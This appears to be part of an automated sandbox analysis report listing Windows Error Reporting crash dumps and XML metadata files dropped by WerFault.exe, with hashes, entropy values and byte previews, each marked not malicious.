File Type:	Mini DuMP crash report, 14 streams, Wed May 31 21:23:25 2023, 0x1205a4 type
Category:	dropped
Size (bytes):	43946
Entropy (8bit):	2.0878729830638556
Encrypted:	false
SSDEEP:	192:pb9w0RAvrGO5SkbFPaV8SJOugPO8Csi/Ubjfi:HRWR5LbF95u78Csr
MD5:	FFF04828DBA0C4436887867974CCE77C
SHA1:	AF40D46804B4875BDC45294D923C4EEDA5DEA748
SHA-256:	17F1E913321E82709042926185354777C100BFC3AB3E1CC2ECF81F0A0CFE20BA
SHA-512:	E5305E99C7BC9EF16E4245B72D2D6BAF1C3A6227373E8F44B4DF97556D578E630C7A10792F3C7F945CFCC45349FA0C20D4E38036D8395F3E3A3B05A856C78581
Malicious:	false
Preview:	MDMP....... ........wd.........................................,..........T.......8...........T...........................0................................................................................U...........B..............GenuineIntelW...........T............wd.............................0..=...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER30F2.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Wed May 31 21:23:26 2023, 0x1205a4 type
Category:	dropped
Size (bytes):	286006
Entropy (8bit):	1.5054328929082812
Encrypted:	false
SSDEEP:	768:ACVbAY5VCW3ZGrxQqJM+YnxMv9qquh4UQ7L9t/x:2Y5JZGrxQqJM+Ynx8uh4UQ7Lj/x
MD5:	053F03EE70FE89AD7F0A365770B3CFDA
SHA1:	8E605A9CE2D6E49BC3DC45D5171DEA3F968BE044
SHA-256:	072040A9407BD29732C7F9741C53EC2A3364F900E1A8E82B0F92EF6FC07F2DBC
SHA-512:	DE677A7B482DC733E309E75FE6B0AE8B8118B6B90E52E0C9EFBAE00D78BC92953FAA2AF2C138975AD5E27BD1D9BBAC6DDB6DB40867C374B721679C88BCA7AB2F
Malicious:	false
Preview:	MDMP....... ........wd............d...............l............)..........T.......8...........T................C...........................................................................................U...........B..............GenuineIntelW...........T............wd.............................0..=...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3121.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Wed May 31 21:23:26 2023, 0x1205a4 type
Category:	dropped
Size (bytes):	288698
Entropy (8bit):	1.5320134708347204
Encrypted:	false
SSDEEP:	384:l1hC+Cl5LbH1uycQYj+I0Dk+6fe+kDEs1v6a7n9yapeZLVsB/jFTBUwwsBH1VIGl:l1hGVbH1p1tfcKJjNEli8sx40d8TPEe6
MD5:	36BF5F69AF9E8B87D72E1CA338A454E8
SHA1:	D348360A48377D417A88AE2B02D4DDF5DD05465C
SHA-256:	21B3C166352D3FD0E0DA46409A059088BDD9B43C6A16DC518EDD80531026B700
SHA-512:	7FFB4E218264C4E1CD18A2EA10FEC5B69EFBF57934E66C9B971B2A0C9756B44A2069416C2036B19AF5E92135AA2B142A7C92B8962D5D99E1189595C81C277C5B
Malicious:	false
Preview:	MDMP....... ........wd............d...............l............)..........T.......8...........T................N...........................................................................................U...........B..............GenuineIntelW...........T............wd.............................0..=...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER324B.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8262
Entropy (8bit):	3.6882687849265956
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiwF6Lh6Ye056+egmfTASSFCprU89boOsfL4m:RrlsNiy6d6YP56HgmfTASZoNfB
MD5:	86E72F9FD109BF2FA58519FADF05448A
SHA1:	92A4809AAEB783BACF468EDA9587D16240E6AB4C
SHA-256:	DC8499548B0251E46A697536833B9114ACC80AED8A67B11947442EC7A48E349E
SHA-512:	B6F657861DBC0488293954A60C6D0D1DF69B17468C22297D5B1AB4B136B82EAFB32A0101D353CA81AD6D0BBE81B18AFA993073ABE3DF04F2E369BF7C58CB2D6D
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.3.3.2.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER327A.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4654
Entropy (8bit):	4.455487140247128
Encrypted:	false
SSDEEP:	48:cvIwSD8zszJgtWI9DeyWgc8sqYjo8fm8M4JCds63xFnikP+q8/13lt4SrSchd:uITfNMeTgrsqYJJAr1QvDW4d
MD5:	021D554F9F313524EE6B99AE5C7172EF
SHA1:	53E6F77C02ADEE8980EF90FCCA9CB357217491A4
SHA-256:	FCF51DAF53F9F53F302F73B45D9C8AAF9FD320B66B2C8FAAFD2B0BA3FC1FC0D1
SHA-512:	66134DD4DE70EE29BC4B242BD059C827967B8B519E2B7255FA7D547897EB8FF01E220556B2544383231F103EA9FF7DEF6DEF376BADCB6A52EFC0847E4AD0B660
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="2065354" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER32B9.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8262
Entropy (8bit):	3.6886771104106506
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiVr6J1/6Yet6+egmfTASSFCpr+89boKsfS4m:RrlsNi56J1/6Y86HgmfTASvopfs
MD5:	7463525AEB52BEC3CBF5E6A7D1B9B0D9
SHA1:	1435626C43DDCEAA2FF0F8E780C35F30DE2E563F
SHA-256:	6C6F8C9B9905F5D6346F2D406AC713D205F963772848BDDF9CB8CE83922CE5D9
SHA-512:	850083B535AE23620F13B426A53B6B1D3063DD7E0E575B20CE26CABE242EFB51CAA76FED94394B1DA1EE94F8EE28A8E5B78F4D4FA49ED7BF03131F51CAE8BE8F
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.3.4.0.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3318.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4654
Entropy (8bit):	4.456108969059627
Encrypted:	false
SSDEEP:	48:cvIwSD8zszJgtWI9DeyWgc8sqYjM8fm8M4JCds63xF2t+q8/13lI4SrSDd:uITfNMeTgrsqYFJAUQKDWDd
MD5:	2E3EA9E5E53E422A644C6D7530A55EB4
SHA1:	71C8740158FACBDBBF6A930E86D733643618D93C
SHA-256:	DF33CF59E64FDD7E9372CE4776E31314B2381C986DABD42A237BC8AB69A6C13C
SHA-512:	0ECA2047024B5885866716AF028D18440BF26BA434839E089682FD8021A7888587E7A2AE3E5D2D5659DAD442C475C786755CDA1C1781BF8B7912A750BAA61679
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="2065354" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3567.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8342
Entropy (8bit):	3.6894410748941096
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiZs6/S6Ye56+egmf8f1SNcI4FCpD389boAsf0I4m:RrlsNii6a6YI6Hgmf8f1SNcvoTfr
MD5:	3961EB696FB9F6E87C23492FE511D82F
SHA1:	286F16E0B8700204D724C95B50C63D4B129CF992
SHA-256:	1B0895359B957F284FF5E99562FE353626E24A95EFBC65A38BDECB94DDD79AFF
SHA-512:	7F25D8442E53307801FBE8C946E3AA3ADD39468201D8911ADE2B3AB6744DC3BD850D819C75E07131155D7E7061FC54135CA51299F39A37EFFC7A226C266446D7
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.4.1.6.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER35C6.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4771
Entropy (8bit):	4.47658935264774
Encrypted:	false
SSDEEP:	48:cvIwSD8zszJgtWI9DeyWgc8sqYjI8fm8M4JCdsO5F7o+q8vjsOd4SrSzd:uITfNMeTgrsqYpJeoKZDWzd
MD5:	1CEE9DB26461442847284B422E66392D
SHA1:	DE9D3559680C1EC39A87E750D7225780193EBFE0
SHA-256:	109175DDCCA0A77AC097BEA51D21A82B48ED50E6AAF07A01975799F03DD39F67
SHA-512:	A36C77491C620A5D208A772C71F8D8C77F8074752C527E13ABBC6E2CE540368BB2E4085FCADC7A3961EC2874F6A22209DCCFC23D969541C1E7098A94523545B8
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="2065354" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3604.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8342
Entropy (8bit):	3.6913883653704453
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiNY6ot6Yeb6+egmf8f1SNcI4FCpDU89bxysft7m:RrlsNii6y6YK6Hgmf8f1SNcGxxfs
MD5:	6558F0FC425F067381E7A29EBC97F456
SHA1:	2A423469D88A8D78449CEA50FDE9F30735117D2B
SHA-256:	58A92D20078E84D7F9177973057BCEAEF2C69050DB4336416F5FE2E2C4723A2A
SHA-512:	D8B3A3235EE12740A8A9108F8A73E401662515C7AF98A5908C28248DA0759F2FDEF94DFDEC3E0519E2D8AE132C36B3E9FA1DB0A082D1D108E1025F33EA34B0A0
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.3.4.8.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3691.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4771
Entropy (8bit):	4.474001811543964
Encrypted:	false
SSDEEP:	48:cvIwSD8zszJgtWI9DeyWgc8sqYje8fm8M4JCdsO5Fa/+q8vjsOV4SrS9d:uITfNMeTgrsqYnJ/KhDW9d
MD5:	6E76E28CBD706D1AC427093CF8EEC761
SHA1:	30540F60D5EC12A7EE320334AE7D744B48A802B9
SHA-256:	BE57A2B54A2928DAEEA43BE75FC15097E962B1E642AD7528EB12DF6258A32618
SHA-512:	BF63EF33C596D699A86FEE73AA352D37269B5E5D4F6C39AEEAAD22B322B3413726848AA852EE4C4FD75777D6473A96046308E5666D1C3877D563CE7208243EEF
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="2065354" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB3A.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Wed May 31 21:23:16 2023, 0x1205a4 type
Category:	dropped
Size (bytes):	38422
Entropy (8bit):	2.27011245749655
Encrypted:	false
SSDEEP:	192:wy2Bi4gZ53+J+YFaKQO5SkbwDZ2PRu/J2JFjc+9S7/AFBc3qnDzv:62C+1Kn5LbwDZ2PRu/Mfd2AFBxD7
MD5:	EC52035D56E8AE41CCE8B6C442F6D631
SHA1:	EF5A953D09AA1506467117FB883E63F918D1A061
SHA-256:	7EE52C255BE1BAEBA37E56B9A41FA4FA0C286D28C361B0905AECE11AE4182F0E
SHA-512:	9401DE1CCE14B4A63CD5577CA84AB58FCAA0A68806808A9D21F0D355B1CB57A99B15079871E84E4E7EC45AD9BA04252277CD842330977D1096112AAEDAB7AE7F
Malicious:	false
Preview:	MDMP....... ........wd............d...............l............)..........T.......8...........T...........P....{...........................................................................................U...........B..............GenuineIntelW...........T.......4....wd.............................0..=...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB78.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Wed May 31 21:23:16 2023, 0x1205a4 type
Category:	dropped
Size (bytes):	45586
Entropy (8bit):	2.0439425809046137
Encrypted:	false
SSDEEP:	192:wbGw0k5BzO5SkbDJIWqSc9SKKPytuUm1UnOyJ:Hk5Bq5LbDJu7dtcm7J
MD5:	8A51045854634F698967F4F66D235879
SHA1:	670173C33FD0D6919320938F2D399C5ECCC39972
SHA-256:	FCEDAABC3B9B89546936179F0E4FD76BD71CFA7645089A0BFA97B2020F6B599E
SHA-512:	A37500A9A208149FF396EFCD7A074A0D79FD6EA886ED48F3F0CB8FC90D918B0EF19EC13044CDF033715EAB2F42112E905F0AA43976A1D1665B63D15E0B786A8C
Malicious:	false
Preview:	MDMP....... ........wd.........................................,..........T.......8...........T...........................0................................................................................U...........B..............GenuineIntelW...........T............wd.............................0..=...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCC1.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8268
Entropy (8bit):	3.6894404174363666
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNii36zQ6Y1k6XRgmfTASSFCprp89bbJsfSpm:RrlsNiS6zQ6Y26hgmfTASebifF
MD5:	419F0E218AA0DBAEE9E7DF45D6050075
SHA1:	B0438A9A8377981D83B314C0C6265AE77ACF9842
SHA-256:	D02A9D14A635379E5C3F9DE113280EA495FBF2E4BCBEB8061935BD4EAE8A299E
SHA-512:	4F5E3194D361EF9609F40184931FAEE7F344B46AE80A7D3AF76E477F3A0C0CF581F149E0AC2784A6B653297552148C2B2E8896FDBD5E5E0BF62070F04119E5BE
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.6.8.4.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCD1.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8272
Entropy (8bit):	3.688547518650938
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNimq6J1f/6YOb6ogmfTASSFCpr089bbWsf6pm:RrlsNiL6J1H6YC6ogmfTASZb1f9
MD5:	4F2E11BED736260D8CB4E91FA34E0E0A
SHA1:	EFFCE963A530E78F47235F0756423F6CD3955F25
SHA-256:	A60FC90A646CDE5B89E0A426E489742355EFC02FC6BA7829B45CE8F51E3E3308
SHA-512:	87448B4FFC0EDAAD9FB014BD1CA7828187FF059A57B3A2C80353798E315FA93CE092C8B70A61518F7D01C60C3923FC1E8A24C301109556011DE0E9C13C47EBD7
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. 